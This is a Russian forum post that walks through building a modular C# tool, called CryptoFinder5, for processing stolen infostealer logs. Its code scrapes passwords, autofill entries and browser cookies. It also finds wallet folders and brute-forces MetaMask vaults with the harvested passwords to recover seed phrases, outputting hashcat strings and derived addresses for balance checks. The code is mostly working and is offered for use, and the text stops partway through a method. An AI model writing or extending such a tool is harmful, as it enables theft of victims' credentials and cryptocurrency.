• XSS.stack #1 – первый литературный журнал от юзеров форума

чекер Чекер крипто кошельков на C# для самых маленьких (и тупых)

Kain1029

RAM
Пользователь
Регистрация
05.05.2020
Сообщения
105
Реакции
148
Источник: xss.pro
Автор Kain1029


Всем привет, дорогие друзья. Меня слишком давно не было на форуме и к сожалению не успел к конкурсу. Сегодня в нашей программе чекер крипты в логах. Я переработал имеющиеся алгоритмы в CFinder3 и CFinder4 , благополучно забросил чат и положил на все это дело болт.

Немного пред истории. Чисто случайно я наткнулся на одну свежую реализацию чекера крипто кошелька. Я не считаю себя ультраспциалистом, но у меня почти сразу же потекли глаза. Не было толковых названий переменных , весь код зависел друг от друга, никакого вам SOLID DRY KISS, про расширяемость я молчу. Я вновь загорелся идеей написать свой крипточекер, подзаработать немного реакций, а если повезет деньжат на новый сервер и крутую разработку, но сейчас не об этом.

Здесь будет очень(очень) много кода, но я старался расписать его понятнее, так что, если понял поставь лайк - поддержи опен сорс разработку.
Все, что я написал, является лишь продуктом моего воображения. Такого не существует, и мы живем в мире симулякра. Повторяйте это только на свой страх и риск. Я не несу ответственности за ваши действия.
Я придерживаюсь правила - "Семь раз отмерь и один раз пошли это все в жопу", поэтому будем много дебажить и править по месту. Конечно же шучу. Стараемся делать высококачественное приложение, потому что так надо.

Что нам понадобиться для создания крипточекера:
1. Прямые руки(хотя бы одна)
2. IDE. Я предпочитаю Rider , но вы делайте хоть в ворде
3. Голова на плечах и способность ей думать
4. Горячий чай
5. .NET Core 7
6. Опыт работы с C#


Что мы хотим получить в итоге?
По сути я хочу получить библиотеки, которые я могу использовать независимо друг от друга ,а в случае необходимости объединить их в один крипточекер, на текущем этапе мне достаточно парсер паролей и кошельков, но что если я буду расширять приложения и мне понадобятся доп функции? Исходя из этого мне необходима модульность. Чтобы ее достичь , достаточно просто разделить все составляющие на отдельно работающие библиотеки - модули. Если вы можете использовать один модуль независимо от другого, значит вы делаете все правильно.

Разделяй и властвуй © Александр Македонский
Создаем пустой Solution с именем CryptoFinder5. нем создаем 4 папки, это будет условное разделение на функциональности. Вы можете назвать как хотите, но я назвал так:
1. Functions - здесь будут храниться проекты с расширениями, какие то мелкие функции и так далее.
2. Presentations - тут не придраться. Здесь храниться общая оболочка. Здесь создаются только исполняемые проекты(Консоль, WPF , ASP.NET и т.д.)
3. Scrapers - здесь находятся парсеры информации с лога. Изначально они были в Function папке , но когда их появилось аж 3, я решил их закинуть отдельно. Так гораздо удобнее.
4. WalletDecryptors - здесь хранятся проекты для расшифровки криптокошельков

Зачем нужно это разделение, если можно запихнуть все в один солюшен?
Не знаю как вам, а я испытываю эстетическое удовольствие когда все на своих местах, к тому же глазу удобнее и быстрее можно разобраться, где что лежит. Вы можете делать и в одной папке, но я считаю, что правильно даже визуально разделять проекты на составляющие.
Начнем с самого простого - методы расширения. Я проект уже дописал и знаю, какие конкретно нужны.
В папке Function создаем проект CrpytoFinder5.Extentions , в этом проекте будут лежать только утилиты и методы расширения и больше ничего.
В проекте создаем 2 папки:
Utils - сюда будем класть утилитки
Extentions - здесь будут храниться методы расширения

Начнем с Extention. В данной папке создам класс LinqExtention.cs и вставляете в него следующий код.
Эти 2 метода расширения очень медленные, но порой очень удобные. Они выполняют фильтрацию по определенному условию.
C#:
public static class LinqExtentions
{
    public static IEnumerable<TSource> WhereIf<TSource>(
        this IEnumerable<TSource> source,
        bool condition,
        Func<TSource, bool> predicate)
    {
        return condition ? source.Where(predicate) : source;
    }

    public static IEnumerable<TSource> WhereIfElse<TSource>(
        this IEnumerable<TSource> source,
        bool condition,
        Func<TSource, bool> predicateIf,
        Func<TSource, bool> predicateElse)
    {
        return condition ? source.Where(predicateIf) : source.Where(predicateElse);
    }
}
Эти 2 метода работают с массивом. Первый проверяет является ли массив пустым, второй проверяет имеются ли элементы в массиве.
Просто, но удобно. Можно было бы не выносить их в отдельный класс, а использовать по месту, но в таком случае, если добавится еще какое то условие для ВСЕХ массивов, придется переделывать его везде.
C#:
public static class ListExtentions
{
    public static bool IsEmpty<T>(this IEnumerable<T>? enumerable)
        => enumerable?.Any() != true;

    public static bool IsNotEmpty<T>(this IEnumerable<T>? enumerable)
        => !IsEmpty(enumerable);
}
Папка Utils нам понадобится немного позже. Я написал интересную реализацию и думаю вам тоже зайдет.
-----------------------------------------------------
Собиратель паролей
-----------------------------------------------------
Первый на очереди и самый нужный это собиратель паролей.
С ходу я придумал 3 возможных реализации сбора паролей под каждый случай, они собирают разный по объему массив данных, но и жрут память по разному
1. Собираем пароли только из файла Passwords.txt поля "Password:" . Преимущества в том, что это самый низкозатратный метод. Он собирает только самое нужное, но имеет недостаток, если лог изменится и поле будет называться не Password: , а PWD: , работать оно уже не будет
2. Собираем пароли из файла Passwords.txt все поля. Собирает все поля, соответственно уже не важно как называется поле, пароль мы получим в любом случае. Исключения само собой есть, но это скорее индивидуальный случай, чем постоянная практика.
3. Собираем пароли из всех полей файлов Passwords.txt и Autofill. Собирает слишком много мусора, но это имеет самые высокие шансы найти подходящий пароль.

В папке Scrapers создаем проект CryptoFinder5.PasswordScraper , ввиду того, что он имеет целых 3 вариации работы и какие то настройки, сразу же создаем в этом проекте 2 папки Option и BasePasswordScraper
Ввиду того, что мы делаем модульную систему мы должны сделать ее настраиваемую изнутри, но главное не преусердствовать
В папку Option закидываем enum PasswordScraperOption
Это будем перечислять режимы работы.
C#:
public enum PasswordScraperOption
{
    LOW,
    MEDIUM,
    HIGH
}

Далее в папку BasePasswordScraper закидываем файл PasswordScraperBase.cs Это будет базовый класс для всех типов собирателей паролей.
C#:
public abstract class PasswordScraperBase
{
    // Поставил на всякий случай, есть вероятность, что пригодится для внушней идентификации
    // типа парсера
    protected abstract PasswordScraperOption Option { get; set; }
    
    // Указывает по какому признакому искать файл с возможными паролями
    // В данному случае путь до файла(но и получается файл) должен содержить "assword"
    protected virtual Func<string, bool> PasswordFileSearchPredicate { get; set; } = (string file)
        => file.Contains("assword", StringComparison.OrdinalIgnoreCase);

    // Предикат для фильтрации строк в файле
    // По умолчанию будет брать строку , которая содержит "assword"
    protected virtual Func<string, bool> PasswordLinesPredicate { get; set; } = (string line)
        => line.Contains("assword", StringComparison.OrdinalIgnoreCase);

    // Можно было и не делать, но решил вынести отдельно
    // Предикат, который разделяет строку на составляющую не зависимо
    // от кол-во пробелов и берет последнее слово
    protected virtual Func<string, string?> PasswordScrapeInLinePredicate { get; set; } =  (string line)
        => line.Split(new char[] { ' ','\t' }, StringSplitOptions.RemoveEmptyEntries).LastOrDefault();
    
    // Сам метод является абстрактным, а это значит, что мы обязаны реализовать его
    public abstract Task<List<string>> GetPasswordsAsync(string directory);
}

Отлично,а теперь приступаем к реализации наших 3х способов. Создаем 3 файла:
PasswordScraperLowPower.cs - для первого способа
PasswordScraperMediumPower.cs - для первого способа
PasswordScraperHighPower.cs - для первого способа

Реализация вполне стандартная. Ищем файлы, читаем в лист, возвращаем.
C#:
/// <summary>
/// Получает только пароли из файла Password поля Password
/// </summary>
public class PasswordScraperLowPower : PasswordScraperBase
{
    protected override PasswordScraperOption Option { get; set; } = PasswordScraperOption.LOW;

    public override async Task<List<string>> GetPasswordsAsync(string directory)
    {
        if (!Directory.Exists(directory))
            throw new DirectoryNotFoundException("Данный путь не является папкой");
        
        var allFiles = Directory.GetFiles(directory, "*", SearchOption.AllDirectories);

        var passwordFiles = allFiles
            .Where(PasswordFileSearchPredicate)
            .ToArray();

        var passwordLines = new List<string?>();
        foreach (var passwordFile in passwordFiles)
        {
            var passwords = await File.ReadAllLinesAsync(passwordFile);
            passwordLines.AddRange(passwords); 
        }
        
        return passwordLines
            .Where(PasswordLinesPredicate)
            .Select(PasswordScrapeInLinePredicate)
            .Distinct()
            .Where(x => !string.IsNullOrWhiteSpace(x))
            .ToList(); // Специально для xss.pro By Kain
    }
}
Максимально простой класс. Здесь мы просто переопределяем предикаты базового класса на новую фильтрацию и получаем нужный результат
C#:
/// <summary>
/// Получает пароли из файлов Password все строчки
/// </summary>
public class PasswordScaperMediumPower : PasswordScraperLowPower
{
    protected override PasswordScraperOption Option { get; set; } = PasswordScraperOption.MEDIUM;

    protected override Func<string, bool> PasswordLinesPredicate { get; set; } = (string line) => true; //<- вообще не фильтруем, а говорим "Да, на устраивает эта строчка"
}
Здесь переопределяем 2 предиката: на поиск файла и на поиск строки.
Код:
/// <summary>
/// Получает пароли из Passwords.txt и Autofill.txt все строчки
/// </summary>
public class PasswordScraperHighPower : PasswordScraperLowPower
{
    protected override PasswordScraperOption Option { get; set; } = PasswordScraperOption.HIGH;


    protected override Func<string, bool> PasswordLinesPredicate { get; set; } = (string line) => true;
    protected override Func<string, bool> PasswordFileSearchPredicate { get; set; } = (string file)
        => file.Contains("assword", StringComparison.OrdinalIgnoreCase) ||
           file.Contains("utofill", StringComparison.OrdinalIgnoreCase);
    
}

Со скрапером паролей мы закончили.Приступаем дальше.

-----------------------------------------------------
Собиратель кошельков
-----------------------------------------------------

Создаем еще один проект в папке Scrapper CryptoFinder5.WalletScraper

Здесь все точно так же 3 папки BaseWalletScraper, Enums, Models

В папку BaseWalletScrapers закидываем файл
Здесь содержится абстрактный метод для получения кошельков , который необходимо реализовать везде и метод GetWalletTypeByString
По сути он работает как: предаете строковое представление кошелька (например Metamask) и он возвращает Enum. Все просто.
C#:
public abstract class WalletScraperBase
{
    public abstract Task<List<Wallet>?> GetWalletsList(string directory);

    protected virtual WalletType GetWalletTypeByString(string walletStringName)
    {
        var walletTypeNames = Enum.GetValues(typeof(WalletType));
        foreach (var walletType in walletTypeNames)
        {
            var stringWalletType = walletType.ToString();
            if (walletStringName.Contains(stringWalletType, StringComparison.OrdinalIgnoreCase))
            {
                return (WalletType)walletType;
            }
        }

        return WalletType.Unknown;
    }
}

В папку Enums закидываете файл WalletType.cs он представляет собой перечисление типов кошельков
C#:
public enum WalletType
{
    Unknown,
    Metamask,
    Ronin,
    Brave,
    Electrum,
    Exodus,
    Coinbase,
    Armory,
    Bitcoin,
    Raven
}

В папку Models закидываем Wallet.cs , он будет представлять выходное значение.
Т.к. это у нас не брут, а просто парсер, то наша задача просто достать информацию о кошельке для дальнейшей обработки
C#:
public class Wallet
{
    /// <summary>Путь до папки с кошельком</summary>
    public string WalletDirectory { get; set; }
    
    /// <summary>Тип кошелька</summary>
    public WalletType WalletType { get; set; }
}

Далее в папке проекта создаем WalletScraperClassic.cs . Он будет является реализацией абстрактного базового класса
Ничего лишнего. Получаем все ПАПКИ в логе, ищем те, которые оканчиваются на Wallet или Wallets
и обрабатываем их, после чего возвращаем массивом
Код:
public class WalletScraperClassic : WalletScraperBase
{
    public override async Task<List<Wallet>?> GetWalletsList(string directory)
    {
        var allFiles = Directory.GetDirectories(directory, "*", SearchOption.AllDirectories);

        var fileWithWalletPrefix = allFiles
            .FirstOrDefault(x =>
                x.EndsWith("allets", StringComparison.OrdinalIgnoreCase) ||
                x.EndsWith("allet", StringComparison.OrdinalIgnoreCase));

        if (fileWithWalletPrefix == null)
        {
            return null;
        }

        var walletDirectories = Directory.GetDirectories(fileWithWalletPrefix, "*", SearchOption.TopDirectoryOnly);
        var wallets = new List<Wallet>();
        if (walletDirectories.IsEmpty())
        {
            return wallets;
        }
        foreach (var walletDirectory in walletDirectories)
        {
            var stringNameWallet = walletDirectory.Split('\\').LastOrDefault() ?? string.Empty;
            if (stringNameWallet != null)
            {
                wallets.Add(new Wallet()
                {
                    WalletDirectory = walletDirectory,
                    WalletType = base.GetWalletTypeByString(walletDirectory)
                });
            }
        }

        return wallets;
    }
}

-----------------------------------------------------
Собиратель куки
-----------------------------------------------------
В качестве бонуса решил приложить свою реализацию парсера куки.
Его можно и не делать, но для моего будущего софта оно пригодится.
Создаем в Scrapers CryptoFinder5.CookieScraper
2 папки: Models, BaseCookieScraper
Models -> Cookie.cs
C#:
public class Cookie
{
    /// <summary>Имя</summary>
    public string? Name { get; set; }
    
    /// <summary>Значени</summary>
    public string? Value { get; set; }
    
    /// <summary>Домен</summary>
    public string Domain { get; set; }
    
    /// <summary>Путь</summary>
    public string? Path { get; set; }
    
    /// <summary>Http</summary>
    public bool HttpOnly { get; set; }
    
    /// <summary>Защищено</summary>
    public bool Secure { get; set; }
    
    /// <summary>Время</summary>
    public int ExpTime { get; set; }
}

BaseCookieScraper -> CookieScraperBase.cs
C#:
public abstract class CookieScraperBase
{
    protected virtual Func<string, bool> CookieFileSearchPredicate { get; set; } = (string file)
        => file.Contains("cookie", StringComparison.OrdinalIgnoreCase);

    protected virtual Func<string, string, bool> CookieFileSearchTargetPredicate  { get; set; } = (string file, string cookieName)
        => file.Contains(cookieName, StringComparison.OrdinalIgnoreCase);
    
    public abstract Task<List<Cookie>> GetCookieList(string directory, string cookieName = null);
}

Получаем все файлы, путь до которых содержит cookie (без учета регистра), читаем , материализуем, возвращаем
Код:
public class CookieScraperClassicMode : CookieScraperBase
{
    public override async Task<List<Cookie>> GetCookieList(string directory, string cookieBrowser = null)
    {
        var files = Directory.GetFiles(directory, "*", SearchOption.AllDirectories);

        var cookieFiles = files
            .Where(CookieFileSearchPredicate)
            .WhereIf(!string.IsNullOrWhiteSpace(cookieBrowser),
                file => CookieFileSearchTargetPredicate(file, cookieBrowser))
            .ToArray();

        var cookieList = new List<Cookie>();
        foreach (var cookieFile in cookieFiles)
        {
            var cookieFileLines = await File.ReadAllLinesAsync(cookieFile);

            var cookieFileLinesConverted = cookieFileLines
                .Select(line => line.Split(new char[] { ' ', '\t' }, StringSplitOptions.RemoveEmptyEntries))
                .Select(linePath => new Cookie()
                {
                    Domain = linePath[0],
                    HttpOnly = bool.TryParse(linePath.ElementAtOrDefault(1), out bool httpOnly) && httpOnly,
                    Path = linePath.ElementAtOrDefault(2),
                    Secure = bool.TryParse(linePath.ElementAtOrDefault(3), out bool secure) && secure,
                    ExpTime = int.TryParse(linePath.ElementAtOrDefault(4), out int expTime) ? expTime : 0,
                    Name = linePath.ElementAtOrDefault(5),
                    Value = linePath.ElementAtOrDefault(6)
                })
                .ToArray();
            cookieList.AddRange(cookieFileLinesConverted);
        }

        return cookieList;
    }
}

Вот и сделали простейшие парсеры.

Почему создаем отдельные проекты, если можно создать 1 проект и в ней 3 парсера?

Я создаю максимально независимую систему, чтобы в случае чего я мог отдельно использовать каждый из ее модулей по отдельности

Можно ли добавить еще несколько парсеров, например из Information.txt?
Да, для этого создаете еще один проект и делаете по аналогии.

Что еще можно доделать?
Я бы сделать парсинг не только паролей, но всех полей, создал модель и заполнил ее. В будущем это может пригодится

Если вы сделали, все правильно, то у вас будет примерно такая картина
Screenshot_1.png
Когда я писал данную приложуху я начинал именно с этой библиотеки, но мы идет от простого к сложному, а это самое сложное, долгое и занимает слишком много времени.
Из всех кошельков я решил выбрать метамаск. Почему? Он претерпел изменения, старые софты уже не работают. В этом блоке я попытаюсь рассказать что изменилось и как исправить.
Сразу по изменениям. Я зашел на оф сайт восстановления мнемоники и перечитал js код. добавился новый объект - itteration со значением 60000 (но бывает и старые 10000), так же немного изменилась структура JSON,но это даже не проблема, а временная трудность.

В папке WalletDecryptors создаем проект CryptoFinde5.BaseDecryptor, теперь базовым будет являться проект, потому что я решил, отдельные реализации кошельков создавать отдельным проектом
2 папки: Models , Cryptography в первой содержатся модели, а во второй некоторые методы расшифровки.

Models -> Decrypted.cs
Данная модель представляет собой ни что иное как кошелек, вернее его расшифрованный вариант
C#:
public class Decrypted
{
    public string? File { get; set; }
    /// <summary>
    /// Монемоническая фраза/ приватный ключ
    /// </summary>
    public string? Mnemonic { get; set; }
    
    /// <summary>
    /// Пароль
    /// </summary>
    public string? Password { get; set; }
    
    /// <summary>
    /// Строка HashCat
    /// </summary>
    public string? Hashcat { get; set; }

    /// <summary>
    /// Список адресов
    /// </summary>
    public IEnumerable<Address> Addresses { get; set; }
}

public class Address
{
    /// <summary>
    /// Адрес
    /// </summary>
    public string? Hash { get; set; }
    
    /// <summary>
    /// Данные о балансах адреса
    /// </summary>
    public List<Data>? Data { get; set; }
}

public class Data
{
    /// <summary>
    /// Имя токена
    /// </summary>
    public string? Token { get; set; }

    /// <summary>
    /// Баланс в WEI
    /// </summary>
    public ulong Balance { get; set; } = 0;
    
    /// <summary>
    /// Цена за единицу токена
    /// </summary>
    public double? Price { get; set; }
    
    /// <summary>
    /// Цена в $
    /// </summary>
    public double? Sum { get; set; }
}

Cryptograpy -> PBKDF2.cs
Объяснять слишком долго, можно просто поверить , что это надо
Код:
public class PBKDF2
{
    public static byte[] DeriveKey(
        byte[] password,
        byte[] salt,
        int iterationCount,
        int keyBitLength,
        HMAC prf)
    {
        prf.Key = password;
        Ensure.MaxValue((long)keyBitLength, (long)uint.MaxValue,
            "PBKDF2 expect derived key size to be not more that (2^32-1) bits, but was requested {0} bits.",
            (object)keyBitLength);
        int num1 = prf.HashSize / 8;
        int num2;
        int length = (int)Math.Ceiling((double)(num2 = keyBitLength / 8) / (double)num1);
        int num3 = (length - 1) * num1;
        int num4 = num2 - num3;
        byte[][] numArray = new byte[length][];
        for (int index = 0; index < length; ++index)
            numArray[index] = PBKDF2.F(salt, iterationCount, index + 1, prf);
        numArray[length - 1] = Arrays.LeftmostBits(numArray[length - 1], num4 * 8);
        return Arrays.Concat(numArray);
    }

    private static byte[] F(byte[] salt, int iterationCount, int blockIndex, HMAC prf)
    {
        byte[] hash = prf.ComputeHash(Arrays.Concat(salt, Arrays.IntToBytes(blockIndex)));
        byte[] left = hash;
        for (int index = 2; index <= iterationCount; ++index)
        {
            hash = prf.ComputeHash(hash);
            left = Arrays.Xor(left, hash);
        }

        return left;
    }


    private static class Arrays
    {
        public static byte[] Concat(params byte[][] arrays)
        {
            byte[] dst =
                new byte[((IEnumerable<byte[]>)arrays).Sum<byte[]>((Func<byte[], int>)(a => a == null ? 0 : a.Length))];
            int dstOffset = 0;
            foreach (byte[] array in arrays)
            {
                if (array != null)
                {
                    Buffer.BlockCopy((Array)array, 0, (Array)dst, dstOffset, array.Length);
                    dstOffset += array.Length;
                }
            }

            return dst;
        }

        public static byte[] Xor(byte[] left, byte[] right)
        {
            Ensure.SameSize(left, right,
                "Arrays.Xor(byte[], byte[]) expects both arrays to be same legnth, but was given {0} and {1}",
                (object)left.Length, (object)right.Length);
            byte[] numArray = new byte[left.Length];
            for (int index = 0; index < left.Length; ++index)
                numArray[index] = (byte)((uint)left[index] ^ (uint)right[index]);
            return numArray;
        }

        public static byte[] IntToBytes(int value)
        {
            uint num = (uint)value;
            return !BitConverter.IsLittleEndian
                ? new byte[4]
                {
                    (byte)(num & (uint)byte.MaxValue),
                    (byte)(num >> 8 & (uint)byte.MaxValue),
                    (byte)(num >> 16 & (uint)byte.MaxValue),
                    (byte)(num >> 24 & (uint)byte.MaxValue)
                }
                : new byte[4]
                {
                    (byte)(num >> 24 & (uint)byte.MaxValue),
                    (byte)(num >> 16 & (uint)byte.MaxValue),
                    (byte)(num >> 8 & (uint)byte.MaxValue),
                    (byte)(num & (uint)byte.MaxValue)
                };
        }
        
        public static byte[] LeftmostBits(byte[] data, int lengthBits)
        {
            Ensure.Divisible(lengthBits, 8, "LeftmostBits() expects length in bits divisible by 8, but was given {0}",
                (object)lengthBits);
            int count = lengthBits / 8;
            byte[] dst = new byte[count];
            Buffer.BlockCopy((Array)data, 0, (Array)dst, 0, count);
            return dst;
        }
    }

    private static class Ensure
    {
        public static void Divisible(int arg, int divisor, string msg, params object[] args)
        {
            if (arg % divisor != 0)
                throw new ArgumentException(string.Format(msg, args));
        }

        public static void MaxValue(long arg, long max, string msg, params object[] args)
        {
            if (arg > max)
                throw new ArgumentException(string.Format(msg, args));
        }

        public static void SameSize(byte[] left, byte[] right, string msg, params object[] args)
        {
            if (left.Length != right.Length)
                throw new ArgumentException(string.Format(msg, args));
        }
    }
}
Все по классике
C#:
public abstract class BaseDecryptor
{
    public abstract Task<List<Decrypted>> DecryptWallet(string walletDirectory, IEnumerable<string> passwords);
}

Отлично. Базовые проект готов. Он будет описывать реализацию и иметь общие для всех кошельков свойства, ведь у каждого кошелька, есть приватный ключ / мнемоническая фраза , а значит ее можно без проблем вынести в общее

А теперь самое сладкое. Создаем CryptoFinder5.Metamask я думаю тут ничего объяснять не надо.
иерархия папок такая:
Decryptors
--DecryptCPU.cs <- расшифровка на процессоре
--DecryptGPU.cs <- расшифровка на видеокарте с помощью HashCat
--BaseDecrypt
----DecryptBase.cs

Extractors
--RegexExtractor.cs <- Поиск Data IV Salt с помощью регулярных выражений
--ParseExtractor.cs <- Поиск Data IV Salt с помощью перебора строки после vault (об этом ниже, очень крутой способ)
--ComboExtractor.cs <- Пробует поиск регулярками, если не находит пробует через парсинг
--BaseExractor
----ExtractorBase.cs

Models
--Decode.cs <- расшифрованные данные (мнемоника и пароль)
--Vault.cs <- Содержит данные из vault

Options
--MetamaskOptions.cs <- Просто класс опций, для передачи в качестве параметра
--DecryptMode.cs <- Способ расшифровки (он содержится в MetamaskOptions)
--ParseMode.cs <- Способ получения vault

Metamask.cs <- конкретный класс реализации расшифровки кошелька

Код достаточно понятный, поэтому комментировать я его не буду, если хотите можете почитать
C#:
public abstract class DecryptBase
{
    public abstract Task<Decode?> Decrypt(Vault vault, IEnumerable<string> passwords);
}
C#:
public class DecryptCPU : DecryptBase
{
    private readonly GcmBlockCipher _cipher = new(new AesEngine());
    private readonly ParallelOptions _parallelOptions = new() { MaxDegreeOfParallelism = 100 };

    public override async Task<Decode?> Decrypt(Vault vault, IEnumerable<string> passwords)
    {
        var vaultBytesTuple = vault.ToBytesTuple();

        passwords = passwords
            .Where(x => x.Length > 7)
            .ToList();

        // Сюда будем записывать рзультаты
        bool isBruted = false;
        string brutedResult = String.Empty;
        string successPassword = string.Empty;
        
        // Запускаем поиск в паралели
        Parallel.ForEach(passwords, _parallelOptions, (password, state) =>
        {
            if (isBruted) return;
            try
            {
                byte[] key = PBKDF2.DeriveKey(Encoding.UTF8.GetBytes(password), vaultBytesTuple.Salt, vault.KeyMetaData.Params.Itterrations, 256, HMAC.Create("HMACSHA256"));
                AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, vaultBytesTuple.Iv, null);
                _cipher.Init(false, parameters);
                byte[] plainBytes = new byte[_cipher.GetOutputSize(vaultBytesTuple.Data.Length)];
                int retLen = _cipher.ProcessBytes(vaultBytesTuple.Data, 0, vaultBytesTuple.Data.Length, plainBytes, 0);
                _cipher.DoFinal(plainBytes, retLen);
                
                // Если решилось верно т.е. не выбило ошибку - записывам результаты
                isBruted = true;
                brutedResult = Encoding.UTF8.GetString(plainBytes);
                successPassword = password;
                state.Stop();
            }
            catch { }
        });
        if (string.IsNullOrWhiteSpace(brutedResult))
            return null;
        
        var mnemonicStartIndex = brutedResult.IndexOf("{\"mnemonic", StringComparison.OrdinalIgnoreCase);
        var mnemonicSubstring = brutedResult.Substring(mnemonicStartIndex);

        var repairedJson = JsonUtils.RepairJson(mnemonicSubstring);

        string? mnemonic = null;
        try
        {
            mnemonic = JsonSerializer.Deserialize<MnemonicString>(repairedJson)?.Mnemonic;
        }
        catch
        {
            var converted = JsonSerializer.Deserialize<MnemonicBytes>(repairedJson)?.Mnemonic
                .SelectMany(BitConverter.GetBytes)
                .Where(x => x != 0)
                .ToArray();
            mnemonic = Encoding.UTF8.GetString(converted ?? new byte[]{ });
        }
        
        return new Decode()
        {
            Mnemonic = mnemonic ?? "",
            Password = successPassword
        };
    }
    
    /// <summary>
    /// Класс если из дешифровки возвращается массив байтов
    /// </summary>
    private class MnemonicBytes
    {
        [JsonPropertyName("mnemonic")]
        public int[] Mnemonic { get; set; }
    }
    
    /// <summary>
    /// Класс если из дешифровки возвращается строка
    /// </summary>
    private class MnemonicString
    {
        [JsonPropertyName("mnemonic")]
        public string Mnemonic { get; set; }
    }
}

C#:
public abstract class ExtractorBase
{
    protected bool IsNewFormat { get; set; }
    
    public abstract Task<Vault?> ExtractData(string walletFile);
}
C#:
public class ComboExtractor : ExtractorBase
{
    public override async Task<Vault?> ExtractData(string walletFile)
        => await new RegexExtractor().ExtractData(walletFile) ??
           await new ParseExtractor().ExtractData(walletFile);
}
C#:
internal class ParseExtractor : ExtractorBase
{
    public override async Task<Vault?> ExtractData(string textInFile)
    {
        var regexVault = Regex.Match(textInFile, "\"vault\"(.*)").Groups[1].Value;
        if (regexVault.Contains("iterations"))
        {
            IsNewFormat = true;
        }
      
        var validJson = JsonUtils.RepairJson(regexVault); // <- Об этом чуть позже
        var deserializedVault =  JsonSerializer.Deserialize<Vault>(validJson);
        if (deserializedVault != null)
            deserializedVault.IsNewFormat = base.IsNewFormat;

        return deserializedVault;
    }
}
C#:
internal class RegexExtractor : ExtractorBase
{
    /// <summary>
    /// Константы ргулдярных вырежний
    /// </summary>
    private const string dataRegex = @"\\""data\\"":\\""([\+\/-9A-Za-z]*=*)";
    private const string ivRegex = @",\\""iv\\"":\\""([\+\/-9A-Za-z]{10,40}=*)";
    private const string saltRegex = @",\\""salt\\"":\\""([A-Za-z0-9+\/]{10,100}=*)\\""";
    private const string itterationsRegex = @"{\\""iterations\\"":([0-9]+)}";
    
    /// <summary>
    /// Получить зашифрованное сообщение
    /// </summary>
    /// <param name="vaultText">Текст зашифрованного сообщения внутри *.log</param>
    /// <returns></returns>
    public override async Task<Vault?> ExtractData(string vaultText)
    {
        var dataValue = Regex.Match(vaultText, dataRegex).Groups[1].Value;
        var ivValue = Regex.Match(vaultText, ivRegex).Groups[1].Value;
        var saltValue = Regex.Match(vaultText, saltRegex).Groups[1].Value;
        if (string.IsNullOrWhiteSpace(dataValue) ||
            string.IsNullOrWhiteSpace(ivValue) ||
            string.IsNullOrWhiteSpace(saltValue))
        {
            return null;
        }

        bool isNewFormat = false;
        // Если iteration не найдено, то это старый формат
        var itterationsMatch = Regex.Match(vaultText, itterationsRegex).Groups[1].Value;
        if (!string.IsNullOrWhiteSpace(itterationsMatch))
        {
            isNewFormat = true;
        }
        var itterationValue = Int32.TryParse(itterationsMatch, out int result) ? result : 10000;

        return new Vault()
        {
            Data = dataValue,
            Salt = saltValue,
            IV = ivValue,
            IsNewFormat = isNewFormat,
            KeyMetaData = new KeyMetaData()
            {
                Algoritm = "PBKDF2",
                Params = new Params()
                {
                    Itterrations = itterationValue
                }
            }
        };
    }
}
C#:
public class Decode
{
    public string? Mnemonic { get; set; }
    public string? Password { get; set; }
}
C#:
public class Vault
{
    [JsonPropertyName("data")]
    public string Data { get; set; }
    
    [JsonPropertyName("iv")]
    public string IV { get; set; }
    
    [JsonPropertyName("salt")]
    public string Salt { get; set; }

    [JsonPropertyName("keyMetadata")]
    public KeyMetaData KeyMetaData { get; set; } = new();

    [JsonIgnore]
    public bool IsNewFormat { get; set; } = true;

    public string ToHashcat()
    {
        return IsNewFormat
            ? $"$metamask${KeyMetaData.Params.Itterrations}${Salt}${IV}${Data}"
            : $"$metamask${Salt}${IV}${Data}";
    }

    public bool IsEmpty()
    {
        if (string.IsNullOrWhiteSpace(Data) ||
            string.IsNullOrWhiteSpace(IV) ||
            string.IsNullOrWhiteSpace(Salt))
        {
            return true;
        }

        return false;
    }

    public (byte[] Salt, byte[] Iv, byte[] Data) ToBytesTuple()
    {
        return (
            Convert.FromBase64String(Salt ?? ""),
            Convert.FromBase64String(IV ?? ""),
            Convert.FromBase64String(Data ?? ""));
    }
}

public class KeyMetaData
{
    [JsonPropertyName("algorithm")]
    public string Algoritm { get; set; } = "PBKDF2";

    [JsonPropertyName("params")]
    public Params Params { get; set; } = new();
}

public class Params
{
    [JsonPropertyName("iterations")]
    public int Itterrations { get; set; } = 10000;
}
C#:
public enum DecryptMode
{
    CPU,
    GPU
}
C#:
/// <summary>Настройки работы Metamask</summary>
public class MetamaskOptions
{
    /// <summary>
    /// Тип получения зашифрованной строки метамаск
    /// REGEX - парсинг с помощью регулярного выражения
    /// PARSE - парсинг с помощью последовательного поиска JSON
    /// COMBO - первое, в случае ненахода второе
    /// </summary>
    public ParseMode ParseMode { get; set; } = ParseMode.COMBO;

    /// <summary>
    /// Тип расшифровки
    /// CPU - на процессоре
    /// GPU - на видеокарте (необходим HashCat)
    /// </summary>
    public DecryptMode DecryptMode { get; set; } = DecryptMode.CPU;
    
    /// <summary>Глубина генерации адресов</summary>
    public int DepthAddress { get; set; } = 10;
}
C#:
public enum ParseMode
{
    REGEX,
    PARSE,
    COMBO
}
C#:
/// <summary>
/// Расшифровка Метамаск
/// </summary>
public class Metamask : BaseDecryptor.BaseDecryptor
{
    private readonly MetamaskOptions _options;

    public Metamask(MetamaskOptions options)
    {
        _options = options;
    }
    
    public override async Task<List<Decrypted>> DecryptWallet(string walletDirectory, IEnumerable<string> passwords)
    {
        var walletFiles = Directory.GetFiles(walletDirectory, "*", SearchOption.AllDirectories)
            .Where(x => x.EndsWith(".log"))
            .ToArray();

        var decryptedWallets = new List<Decrypted>();
        foreach (var walletFile in walletFiles)
        {
            var vault = await ExtractData(walletFile);
            var hashCat = vault?.ToHashcat() ?? "";
            var decryped = await Decrypt(vault, passwords);
            var addresses = AddressGenerator.AddressGenerator.Generate(decryped?.Mnemonic, _options.DepthAddress)
                .Select(x => new Address()
                {
                    Hash = x.Hash
                }).ToList();
            
            decryptedWallets.Add(new Decrypted()
            {
                File = walletFile,
                Hashcat = hashCat,
                Password = decryped?.Password,
                Mnemonic = decryped?.Mnemonic,
                Addresses = addresses
            });
        }

        return decryptedWallets;
    }

    /// <summary>
    /// Метод расшифроки
    /// </summary>
    /// <param name="vault">Зашифрованные данны</param>
    /// <param name="passwords">Массив паролей</param>
    /// <returns></returns>
    /// <exception cref="NotImplementedException"></exception>
    private async Task<Decode?> Decrypt(Vault? vault, IEnumerable<string> passwords)
    {
        if (vault == null || vault.IsEmpty())
        {
            return null;
        }
        
